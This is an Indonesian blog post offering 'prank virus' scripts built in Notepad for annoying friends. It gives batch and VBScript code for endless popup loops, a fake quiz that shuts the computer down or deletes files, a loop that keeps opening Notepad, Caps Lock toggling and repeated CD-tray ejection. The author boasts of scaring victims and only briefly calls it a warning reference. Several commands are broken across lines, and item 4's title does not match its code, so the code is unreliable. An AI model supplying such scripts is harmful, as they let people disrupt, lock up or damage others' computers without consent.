posting kali ini adalah cara membuat virus jengkel menggunakan NotePad.. :D
hehe Dari judulnya ajha udah seru,.. ni ane sendiri udah pernah ngejengkelin teman pakek script dibawah ini.. :D bakalan telihat deh wajah pucat korban virusnya..xixixixixix okee langsung ajha keTopiknya
1. Virus dengan sasaran buat orang jengkel karena muncul terus, sebenarnya bukan virus tapi hanya program yang sok-sok jadi virus :)
@ECHO off
:
Begin
msg * Haloo ?
msg * Lagi apa nih ?
msg * Weww ketahuan nih..
msg * Hayooo ngaku..
msg * Ye ye ketauan yeye ketahuan
msg * Aku matiin saja gimana
msg * Mau............................
GOTO BEGIN
simpan dengan berekstensi .bat contoh Usil.bat
2. Membuat Virus Wants to Be A Milionaire
@echo off
title quiz wants to be a millionaire
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. Matikan Komputer
echo 2. Format Komputer
echo 3. Yahhhh...
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * Kurang Beruntung nih
msg * Kurang Iman kali :D
msg * Aduh ini gimana kok tambah parah
msg * Masukin ke UGD aja ya
msg * Telpon 311 saja ya
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
Simpan dengan .bat contoh contoh = Kuis Wants to be a millionaire.bat
3. Membuka notepad terus-menerus
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
Simpan dengan ektensi.bat
4. Shutdown sendiri dan kirim pesan otomatis
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Simpan dengan .vbs
5. CD Room terbuka dan tertutup terus
Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan .vbs
Catatan :
Hanya sekedar referensi agar lebih waspada terhadap setiap software atau program yang ada di computer, laptop atau di internet agar tidak mudah percaya begitu saja karena akibatnya sangat fatal.


![[SourceCode VB6.0] Evoloution](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0wQflgCJmtRkygJsLshacgXTcd4x4u6i98H6TJ49BKL89e-RXqeJ4NWK-gYE9dVSBMFfgoCxZkbVszoYkBZePU7ywnvHuJEUq3PZtwTrK5JJ0yMlUj9L5rsIjDtoeJ0JZI854tWIN0Q1V/s72-c/Evoloution.png)




Anda sopan kami segan